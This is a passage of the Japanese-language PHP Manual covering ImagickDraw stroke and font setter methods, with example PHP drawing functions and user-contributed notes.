    $draw = new \ImagickDraw();

    $strokeColor = new \ImagickPixel($strokeColor);
    $fillColor = new \ImagickPixel($fillColor);

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);

    $draw->setFontSize(48);

    $draw->setFontFamily("Times");
    $draw->annotation(50, 50, "Lorem Ipsum!");

    $draw->setFontFamily("AvantGarde");
    $draw->annotation(50, 100, "Lorem Ipsum!");

    $draw->setFontFamily("NewCenturySchlbk");
    $draw->annotation(50, 150, "Lorem Ipsum!");

    $draw->setFontFamily("Palatino");
    $draw->annotation(50, 200, "Lorem Ipsum!");

    $imagick = new \Imagick();
    $imagick->newImage(450, 250, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


テキストによる注記を行う際に使用するフォントのポイント数を設定する

  • ≪ ImagickDraw::setFontFamily
  • ImagickDraw::setFontStretch ≫
  • PHP Manual
  • ImagickDraw
  • テキストによる注記を行う際に使用するフォントのポイント数を設定する

ImagickDraw::setFontSize

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontSize — テキストによる注記を行う際に使用するフォントのポイント数を設定する

説明

public ImagickDraw::setFontSize ( float $pointsize ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントのポイント数を設定します。

パラメータ

pointsize

ポイント数。

返り値

値を返しません。

例

例1 ImagickDraw::setFontSize()

<?php
function setFontSize($fillColor, $strokeColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(2);
    $draw->setFont("../fonts/Arial.ttf");

    $sizes = [24, 36, 48, 60, 72];

    foreach ($sizes as $size) {
        $draw->setFontSize($size);
        $draw->annotation(50, ($size * $size / 16), "Lorem Ipsum!");
    }

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

hmkrox at gmail dot com 03-Aug-2009 07:10
The font size taken in parameter is not the size in point (1 point = 1/72 inch) but the font's height in pixel.
Therefore you should do a conversion to have the correct font size if you want to modify a document destined to print.
For example, if your document's resolution is 300ppi, you should add a 25/6 multiplying factor to your fontsize in order to have a correct behaviour of the font.
jgsujith at in dot com 15-Jul-2009 06:23
<?php
$sourceFile='in.jpg';
$textWrite='God is Great';
$x=50;
$y=50;
$fontColor='#000000';
$fontSize=34;

$colorPix=new ImagickPixel ($fontColor);
$image=new Imagick ($sourceFile);
$draw=new ImagickDraw();

$draw->setFontSize($fontSize);//Sets the font pointsize to use when annotating with text

$draw->setFillColor($colorPix);//Sets the fill color to be used for drawing filled objects

$image->annotateImage($draw,$x,$y,0,$textWrite);//Annotates an image with text

$image->writeImage('out.jpg');//Writes an image to the specified filename
?>


テキストによる注記を行う際に使用するフォントの伸縮を設定する

  • ≪ ImagickDraw::setFontSize
  • ImagickDraw::setFontStyle ≫
  • PHP Manual
  • ImagickDraw
  • テキストによる注記を行う際に使用するフォントの伸縮を設定する

ImagickDraw::setFontStretch

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontStretch — テキストによる注記を行う際に使用するフォントの伸縮を設定する

説明

public ImagickDraw::setFontStretch ( int $fontStretch ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントの伸縮を設定します。 AnyStretch は、ワイルドカードの "don't care" オプションとして働きます。

パラメータ

fontStretch

STRETCH_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setFontStretch()

<?php
function setFontStretch($fillColor, $strokeColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(2);
    $draw->setFontSize(36);

    $fontStretchTypes = [
        \Imagick::STRETCH_ULTRACONDENSED,
        \Imagick::STRETCH_CONDENSED,
        \Imagick::STRETCH_SEMICONDENSED,
        \Imagick::STRETCH_SEMIEXPANDED,
        \Imagick::STRETCH_EXPANDED,
        \Imagick::STRETCH_EXTRAEXPANDED,
        \Imagick::STRETCH_ULTRAEXPANDED,
        \Imagick::STRETCH_ANY
    ];

    $offset = 0;
    foreach ($fontStretchTypes as $fontStretch) {
        $draw->setFontStretch($fontStretch);
        $draw->annotation(50, 75 + $offset, "Lorem Ipsum!");
        $offset += 50;
    }

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


テキストによる注記を行う際に使用するフォントのスタイルを設定する

  • ≪ ImagickDraw::setFontStretch
  • ImagickDraw::setFontWeight ≫
  • PHP Manual
  • ImagickDraw
  • テキストによる注記を行う際に使用するフォントのスタイルを設定する

ImagickDraw::setFontStyle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontStyle — テキストによる注記を行う際に使用するフォントのスタイルを設定する

説明

public ImagickDraw::setFontStyle ( int $style ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントのスタイルを設定します。 AnyStyle は、ワイルドカードの "don't care" オプションとして働きます。

パラメータ

style

STYLETYPE_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setFontStyle()

<?php
function setFontStyle($fillColor, $strokeColor, $backgroundColor) {
    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(1);
    $draw->setFontSize(36);
    $draw->setFontStyle(\Imagick::STYLE_NORMAL);
    $draw->annotation(50, 50, "Lorem Ipsum!");

    $draw->setFontStyle(\Imagick::STYLE_ITALIC);
    $draw->annotation(50, 100, "Lorem Ipsum!");

    $draw->setFontStyle(\Imagick::STYLE_OBLIQUE);
    $draw->annotation(50, 150, "Lorem Ipsum!");

    $imagick = new \Imagick();
    $imagick->newImage(350, 300, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


フォントの重さを設定する

  • ≪ ImagickDraw::setFontStyle
  • ImagickDraw::setGravity ≫
  • PHP Manual
  • ImagickDraw
  • フォントの重さを設定する

ImagickDraw::setFontWeight

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontWeight — フォントの重さを設定する

説明

public ImagickDraw::setFontWeight ( int $font_weight ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するフォントの重さを設定します。

パラメータ

font_weight

返り値

例

例1 ImagickDraw::setFontWeight()

<?php
function setFontWeight($fillColor, $strokeColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(1);

    $draw->setFontSize(36);

    $draw->setFontWeight(100);
    $draw->annotation(50, 50, "Lorem Ipsum!");

    $draw->setFontWeight(200);
    $draw->annotation(50, 100, "Lorem Ipsum!");

    $draw->setFontWeight(400);
    $draw->annotation(50, 150, "Lorem Ipsum!");

    $draw->setFontWeight(800);
    $draw->annotation(50, 200, "Lorem Ipsum!");

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

skmanji at manji dot org 26-May-2009 05:15
Valid Range 100-900. I found that any value 551 and above would give me bold.


テキストの配置時の gravity を設定する

  • ≪ ImagickDraw::setFontWeight
  • ImagickDraw::setResolution ≫
  • PHP Manual
  • ImagickDraw
  • テキストの配置時の gravity を設定する

ImagickDraw::setGravity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setGravity — テキストの配置時の gravity を設定する

説明

public ImagickDraw::setGravity ( int $gravity ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際に使用するテキスト配置の gravity を設定します。

パラメータ

gravity

GRAVITY_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setGravity()

<?php
function setGravity($fillColor, $strokeColor, $backgroundColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(1);
    $draw->setFontSize(24);

    $gravitySettings = array(
        \Imagick::GRAVITY_NORTHWEST => 'NorthWest',
        \Imagick::GRAVITY_NORTH => 'North',
        \Imagick::GRAVITY_NORTHEAST => 'NorthEast',
        \Imagick::GRAVITY_WEST => 'West',
        \Imagick::GRAVITY_CENTER => 'Centre',
        \Imagick::GRAVITY_SOUTHWEST => 'SouthWest',
        \Imagick::GRAVITY_SOUTH => 'South',
        \Imagick::GRAVITY_SOUTHEAST => 'SouthEast',
        \Imagick::GRAVITY_EAST => 'East'
    );

    $draw->setFont("../fonts/Arial.ttf");

    foreach ($gravitySettings as $type => $description) {
        $draw->setGravity($type);
        $draw->annotation(50, 50, '"' . $description . '"');
    }

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

bcre8ve at gmail dot com 13-Sep-2013 02:15
It appears that the GRAVITY constants have an integer equivalent:
NORTHWEST = 1
NORTH = 2
NORTHEAST = 3
WEST = 4
CENTER = 5
EAST = 6
SOUTHWEST = 7
SOUTH = 8
SOUTHEAST = 9
alan at ridersite dot org 28-Aug-2007 07:51
Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.

For example:
$draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 0, 0, 0, 'The quick brown fox jumps over the lazy dog');

Will horizontally and vertically center the text string.

Note, there are several gravity constants available. See, Constants — Imagick class constants


Description

  • ≪ ImagickDraw::setGravity
  • ImagickDraw::setStrokeAlpha ≫
  • PHP Manual
  • ImagickDraw
  • Description

ImagickDraw::setResolution

(PECL imagick 3 >= 3.1.0)

ImagickDraw::setResolution — Description

説明

public ImagickDraw::setResolution ( float $x_resolution , float $y_resolution ) : bool

Sets the resolution.

パラメータ

x_resolution

y_resolution

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの枠線の透明度を指定する

  • ≪ ImagickDraw::setResolution
  • ImagickDraw::setStrokeAntialias ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの枠線の透明度を指定する

ImagickDraw::setStrokeAlpha

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeAlpha — オブジェクトの枠線の透明度を指定する

説明

public ImagickDraw::setStrokeAlpha ( float $opacity ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの枠線の透明度を指定します。

パラメータ

opacity

透明度。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeAlpha()

<?php
function setStrokeAlpha($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(4);
    $draw->line(100, 100, 400, 145);
    $draw->rectangle(100, 200, 225, 350);
    $draw->setStrokeOpacity(0.1);
    $draw->line(100, 120, 400, 165);
    $draw->rectangle(275, 200, 400, 350);

    $image = new \Imagick();
    $image->newImage(500, 400, $backgroundColor);
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

Anonymous 09-Oct-2018 11:10
ImagickDraw::setStrokeAlpha method is deprecated and it's use should be avoided

not sure since which version this became deprecated.
Thomas 19-Sep-2014 12:30
Must be set after setStrokeColor().

Values between 0 (invisible) and 1.


縁取りの枠線をアンチエイリアス処理するかどうかを制御する

  • ≪ ImagickDraw::setStrokeAlpha
  • ImagickDraw::setStrokeColor ≫
  • PHP Manual
  • ImagickDraw
  • 縁取りの枠線をアンチエイリアス処理するかどうかを制御する

ImagickDraw::setStrokeAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeAntialias — 縁取りの枠線をアンチエイリアス処理するかどうかを制御する

説明

public ImagickDraw::setStrokeAntialias ( bool $stroke_antialias ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

縁取りの枠線をアンチエイリアス処理するかどうかを制御します。 縁取りの枠線は、デフォルトでアンチエイリアス処理が行われます。 アンチエイリアスを無効にすると、 縁取りの描画時には縁取り色あるいはキャンバスの色のどちらかが用いられることになります。

パラメータ

stroke_antialias

アンチエイリアス設定。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeAntialias()

<?php
function setStrokeAntialias($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(1);
    $draw->setStrokeAntialias(false);
    $draw->line(100, 100, 400, 105);

    $draw->line(100, 140, 400, 185);

    $draw->setStrokeAntialias(true);
    $draw->line(100, 110, 400, 115);
    $draw->line(100, 150, 400, 195);

    $image = new \Imagick();
    $image->newImage(500, 250, $backgroundColor);
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの縁取りに使用する色を設定する

  • ≪ ImagickDraw::setStrokeAntialias
  • ImagickDraw::setStrokeDashArray ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの縁取りに使用する色を設定する

ImagickDraw::setStrokeColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeColor — オブジェクトの縁取りに使用する色を設定する

説明

public ImagickDraw::setStrokeColor ( ImagickPixel $stroke_pixel ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの縁取りに使用する色を設定します。

パラメータ

stroke_pixel

縁取り色。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeColor()

<?php
function setStrokeColor($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(5);

    $draw->line(100, 100, 400, 145);
    $draw->rectangle(100, 200, 225, 350);

    $draw->setStrokeOpacity(0.1);
    $draw->line(100, 120, 400, 165);
    $draw->rectangle(275, 200, 400, 350);

    $image = new \Imagick();
    $image->newImage(500, 400, $backgroundColor);
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


パスの描画に使用する破線のパターンを指定する

  • ≪ ImagickDraw::setStrokeColor
  • ImagickDraw::setStrokeDashOffset ≫
  • PHP Manual
  • ImagickDraw
  • パスの描画に使用する破線のパターンを指定する

ImagickDraw::setStrokeDashArray

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeDashArray — パスの描画に使用する破線のパターンを指定する

説明

public ImagickDraw::setStrokeDashArray ( array $dashArray ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パスの描画に使用する破線のパターンを指定します。 strokeDashArray は数値の配列で、 互い違いに並べる破線と空白の長さをピクセルで表したものです。 If an odd number of values is provided, then the list of values is repeated to yield an even number of values. 既存の配列を削除するには、number_elements にゼロ、そして dash_array に null を渡します。 典型的な strokeDashArray_ 配列のメンバーは 5 3 2 となります。

パラメータ

dashArray

float の配列。

返り値

成功した場合に true を返します。

例

例1 ImagickDraw::setStrokeDashArray()

<?php
function setStrokeDashArray($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(4);

    $draw->setStrokeDashArray([10, 10]);
    $draw->rectangle(100, 50, 225, 175);

    $draw->setStrokeDashArray([20, 5, 20, 5, 5, 5,]);
    $draw->rectangle(275, 50, 400, 175);

    $draw->setStrokeDashArray([20, 5, 20, 5, 5]);
    $draw->rectangle(100, 200, 225, 350);

    $draw->setStrokeDashArray([1, 1, 1, 1, 2, 2, 3, 3, 5, 5, 8, 8, 13, 13, 21, 21, 34, 34, 55, 55, 89, 89, 144, 144, 233, 233, 377, 377, 610, 610, 987, 987, 1597, 1597, 2584, 2584, 4181, 4181,]);

    $draw->rectangle(275, 200, 400, 350);

    $image = new \Imagick();
    $image->newImage(500, 400, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

KV 13-Mar-2019 02:47
To remove the dash and switch back to solid line, provide an array with a null value in it for $dashArray.

->setStrokeDashArray( [null] );
andrew at ierbsolutions dot co dot uk 22-Oct-2008 02:11
Example:

<?php
$base_image = new Imagick('example.png');
$rect = new ImagickDraw();
$rect->setFillColor(new ImagickPixel("#EEEEEE"));
$rect->setFillOpacity(0);
$rect->setStrokeColor(new ImagickPixel("#FF0000"));
$rect->setStrokeDashArray(array(5,5,5));
$rect->rectangle(10, 10, 100, 100);
$base_image->drawImage($rect);

header('Content-type: image/png');
echo $base_image->getImage();
exit();
?>


破線パターンにおける破線の開始オフセットを指定する

  • ≪ ImagickDraw::setStrokeDashArray
  • ImagickDraw::setStrokeLineCap ≫
  • PHP Manual
  • ImagickDraw
  • 破線パターンにおける破線の開始オフセットを指定する

ImagickDraw::setStrokeDashOffset

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeDashOffset — 破線パターンにおける破線の開始オフセットを指定する

説明

public ImagickDraw::setStrokeDashOffset ( float $dash_offset ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

破線パターンにおける破線の開始オフセットを指定します。

パラメータ

dash_offset

破線のオフセット。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeDashOffset()

<?php
function setStrokeDashOffset($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(4);
    $draw->setStrokeDashArray([20, 20]);
    $draw->setStrokeDashOffset(0);
    $draw->rectangle(100, 50, 225, 175);

    //Start the dash effect halfway through the solid portion
    $draw->setStrokeDashOffset(10);
    $draw->rectangle(275, 50, 400, 175);

    //Start the dash effect on the space portion
    $draw->setStrokeDashOffset(20);
    $draw->rectangle(100, 200, 225, 350);
    $draw->setStrokeDashOffset(5);
    $draw->rectangle(275, 200, 400, 350);

    $image = new \Imagick();
    $image->newImage(500, 400, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


開かれたサブパスを描画する際に使用する端点の形状を指定する

  • ≪ ImagickDraw::setStrokeDashOffset
  • ImagickDraw::setStrokeLineJoin ≫
  • PHP Manual
  • ImagickDraw
  • 開かれたサブパスを描画する際に使用する端点の形状を指定する

ImagickDraw::setStrokeLineCap

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeLineCap — 開かれたサブパスを描画する際に使用する端点の形状を指定する

説明

public ImagickDraw::setStrokeLineCap ( int $linecap ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

開かれたサブパスを描画する際に使用する端点の形状を指定します。

パラメータ

linecap

LINECAP_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeLineCap()

<?php
function setStrokeLineCap($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(25);

    $lineTypes = [\Imagick::LINECAP_BUTT, \Imagick::LINECAP_ROUND, \Imagick::LINECAP_SQUARE,];

    $offset = 0;

    foreach ($lineTypes as $lineType) {
        $draw->setStrokeLineCap($lineType);
        $draw->line(50 + $offset, 50, 50 + $offset, 250);
        $offset += 50;
    }

    $imagick = new \Imagick();
    $imagick->newImage(300, 300, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:35
Possible values are:

LINEJOIN_UNDEFINED
LINEJOIN_MITER
LINEJOIN_ROUND
LINEJOIN_BEVEL

...all prefixed with Imagick:: like:

Imagick::LINEJOIN_ROUND


パスの角を描画する際に使用する形状を指定する

  • ≪ ImagickDraw::setStrokeLineCap
  • ImagickDraw::setStrokeMiterLimit ≫
  • PHP Manual
  • ImagickDraw
  • パスの角を描画する際に使用する形状を指定する

ImagickDraw::setStrokeLineJoin

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeLineJoin — パスの角を描画する際に使用する形状を指定する

説明

public ImagickDraw::setStrokeLineJoin ( int $linejoin ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パス (あるいはその他のベクター図形) の角を描画する際に使用する形状を指定します。

パラメータ

linejoin

LINEJOIN_ 定数。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeLineJoin()

<?php
function setStrokeLineJoin($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();
    $draw->setStrokeWidth(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(20);

    $offset = 220;

    $lineJoinStyle = [
        \Imagick::LINEJOIN_MITER,
        \Imagick::LINEJOIN_ROUND,
        \Imagick::LINEJOIN_BEVEL,
        ];

    for ($x = 0; $x < count($lineJoinStyle); $x++) {
        $draw->setStrokeLineJoin($lineJoinStyle[$x]);
        $points = [
            ['x' => 40 * 5, 'y' => 10 * 5 + $x * $offset],
            ['x' => 20 * 5, 'y' => 20 * 5 + $x * $offset],
            ['x' => 70 * 5, 'y' => 50 * 5 + $x * $offset],
            ['x' => 40 * 5, 'y' => 10 * 5 + $x * $offset],
        ];

        $draw->polyline($points);
    }

    $image = new \Imagick();
    $image->newImage(500, 700, $backgroundColor);
    $image->setImageFormat("png");

    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:32
For many (myself included) Rex's note maybe not be blatant enough. The constants are declared for the Imagick class only, so using them requires this syntax: Imagick::LINEJOIN_ constant

Here's an example oh how you might use it:

<?php
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));
$draw = new ImagickDraw();
$draw->setStrokeLineJoin(Imagick::LINEJOIN_ROUND);
?>

If you're not drawing polylines and are drawing simple lines, also see setStrokeLineCap
Rex Schrader 17-May-2009 08:36
From imagick_helpers.c (pecl release), possible values are:
  LINEJOIN_UNDEFINED
  LINEJOIN_MITER
  LINEJOIN_ROUND
  LINEJOIN_BEVEL


マイターリミットを指定する

  • ≪ ImagickDraw::setStrokeLineJoin
  • ImagickDraw::setStrokeOpacity ≫
  • PHP Manual
  • ImagickDraw
  • マイターリミットを指定する

ImagickDraw::setStrokeMiterLimit

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeMiterLimit — マイターリミットを指定する

説明

public ImagickDraw::setStrokeMiterLimit ( int $miterlimit ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

マイターリミットを指定します。 2 本の直線が小さい角度で連結され、かつ連結方法が 'lineJoin' に設定されている場合、 出来上がる線の角の部分が非常に長くなります。マイターリミットは、miter length (角の長さ) と 'lineWidth' の比率の最大値です。

パラメータ

miterlimit

マイターリミット。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeMiterLimit()

<?php
function setStrokeMiterLimit($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setStrokeOpacity(0.6);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(10);

    $yOffset = 100;

    $draw->setStrokeLineJoin(\Imagick::LINEJOIN_MITER);

    for ($y = 0; $y < 3; $y++) {

        $draw->setStrokeMiterLimit(40 * $y);

        $points = [
            ['x' => 22 * 3, 'y' => 15 * 4 + $y * $yOffset],
            ['x' => 20 * 3, 'y' => 20 * 4 + $y * $yOffset],
            ['x' => 70 * 5, 'y' => 45 * 4 + $y * $yOffset],
        ];

        $draw->polygon($points);
    }

    $image = new \Imagick();
    $image->newImage(500, 500, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    $image->setImageType(\Imagick::IMGTYPE_PALETTE);
    $image->setImageCompressionQuality(100);
    $image->stripImage();

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの枠線の透明度を指定する

  • ≪ ImagickDraw::setStrokeMiterLimit
  • ImagickDraw::setStrokePatternURL ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの枠線の透明度を指定する

ImagickDraw::setStrokeOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeOpacity — オブジェクトの枠線の透明度を指定する

説明

public ImagickDraw::setStrokeOpacity ( float $stroke_opacity ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの枠線の透明度を指定します。

パラメータ

stroke_opacity

枠線の透明度。1.0 は完全に不透明な状態です。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeOpacity()

<?php
function setStrokeOpacity($strokeColor, $fillColor, $backgroundColor) {
    $draw = new \ImagickDraw();

    $draw->setStrokeWidth(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(10);
    $draw->setStrokeOpacity(1);
    $draw->line(100, 80, 400, 125);
    $draw->rectangle(25, 200, 150, 350);
    $draw->setStrokeOpacity(0.5);
    $draw->line(100, 100, 400, 145);
    $draw->rectangle(200, 200, 325, 350);
    $draw->setStrokeOpacity(0.2);
    $draw->line(100, 120, 400, 165);
    $draw->rectangle(375, 200, 500, 350);

    $image = new \Imagick();
    $image->newImage(550, 400, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの枠線の描画に使用するパターンを設定する

  • ≪ ImagickDraw::setStrokeOpacity
  • ImagickDraw::setStrokeWidth ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの枠線の描画に使用するパターンを設定する

ImagickDraw::setStrokePatternURL

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokePatternURL — オブジェクトの枠線の描画に使用するパターンを設定する

説明

public ImagickDraw::setStrokePatternURL ( string $stroke_url ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの枠線の描画に使用するパターンを設定します。

パラメータ

stroke_url

URL。

返り値

imagick.imagickdraw.return.success;

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの枠線の描画に使用する線の幅を設定する

  • ≪ ImagickDraw::setStrokePatternURL
  • ImagickDraw::setTextAlignment ≫
  • PHP Manual
  • ImagickDraw
  • オブジェクトの枠線の描画に使用する線の幅を設定する

ImagickDraw::setStrokeWidth

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeWidth — オブジェクトの枠線の描画に使用する線の幅を設定する

説明

public ImagickDraw::setStrokeWidth ( float $stroke_width ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

オブジェクトの枠線の描画に使用する線の幅を設定します。

パラメータ

stroke_width

線の幅。

返り値

値を返しません。

例

例1 ImagickDraw::setStrokeWidth()

<?php
function setStrokeWidth($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeWidth(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->line(100, 100, 400, 145);
    $draw->rectangle(100, 200, 225, 350);
    $draw->setStrokeWidth(5);
    $draw->line(100, 120, 400, 165);
    $draw->rectangle(275, 200, 400, 350);

    $image = new \Imagick();
    $image->newImage(500, 400, $backgroundColor);
    $image->setImageFormat("png");
    $image->drawImage($draw);

    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

Peter - the Pete - de Pijd 09-Jul-2009 02:31
If you set the stroke width to 0, there will often still be a hairline. To remove this hairline, use transparency, f.e. using:
setStrokeColor("#00000000")
hex 0-6 = color -> black
hex 6-8 = opacity -> full transparency
r dot vinke at gmail dot com 03-Nov-2008 06:27
Please note that this function only works (as in: the stroke width changes) when setStrokeColor() is called before.


テキストの配置を指定する

  • ≪ ImagickDraw::setStrokeWidth
  • ImagickDraw::setTextAntialias ≫
  • PHP Manual
  • ImagickDraw
  • テキストの配置を指定する

ImagickDraw::setTextAlignment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextAlignment — テキストの配置を指定する

説明

public ImagickDraw::setTextAlignment ( int $alignment ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

テキストによる注記を行う際の配置を指定します。

パラメータ

alignment

ALIGN_ 定数。

返り値

値を返しません。

例

